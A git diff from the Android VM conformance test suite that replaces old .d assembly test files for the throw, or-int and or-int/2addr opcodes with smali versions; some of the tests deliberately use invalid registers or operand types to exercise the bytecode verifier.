diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali
new file mode 100644
index 0000000..25132b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_8.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/Error;
+       invoke-direct {v1}, Ljava/lang/Error;-><init>()V
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.d
deleted file mode 100644
index bac2513..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_1.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali
new file mode 100644
index 0000000..6d61f66
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_1.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.d
deleted file mode 100644
index 9afca45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int v0, v6, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali
new file mode 100644
index 0000000..a5dbcdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v6, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.d
deleted file mode 100644
index cc2a413..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_3.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       or-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali
new file mode 100644
index 0000000..16d9252
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_3.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       or-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.d
deleted file mode 100644
index f47f082..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_4.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)I
-.limit regs 8
-
-       or-int v0, v5, v6
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali
new file mode 100644
index 0000000..67b05c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_4.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)I
+.registers 8
+
+       or-int v0, v5, v6
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.d
deleted file mode 100644
index 65aee2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_5.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali
new file mode 100644
index 0000000..ee4d9b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_5.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.d
deleted file mode 100644
index 5543c18..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_6.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       or-int v0, v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali
new file mode 100644
index 0000000..b0c5c29
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_6.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       or-int v0, v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.d
deleted file mode 100644
index c1d6357..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_1.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali
new file mode 100644
index 0000000..da83e08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.d
deleted file mode 100644
index 0fe271f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_2.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali
new file mode 100644
index 0000000..ce26068
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.d
deleted file mode 100644
index f7b8de4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_3.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       or-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali
new file mode 100644
index 0000000..21d167f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.d
deleted file mode 100644
index c29c45a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_4.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       or-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali
new file mode 100644
index 0000000..00df8bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.d
deleted file mode 100644
index 55c9544..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_5.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali
new file mode 100644
index 0000000..926e091
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.d
deleted file mode 100644
index 2eb863f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_6.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       or-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali
new file mode 100644
index 0000000..1cb5914
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
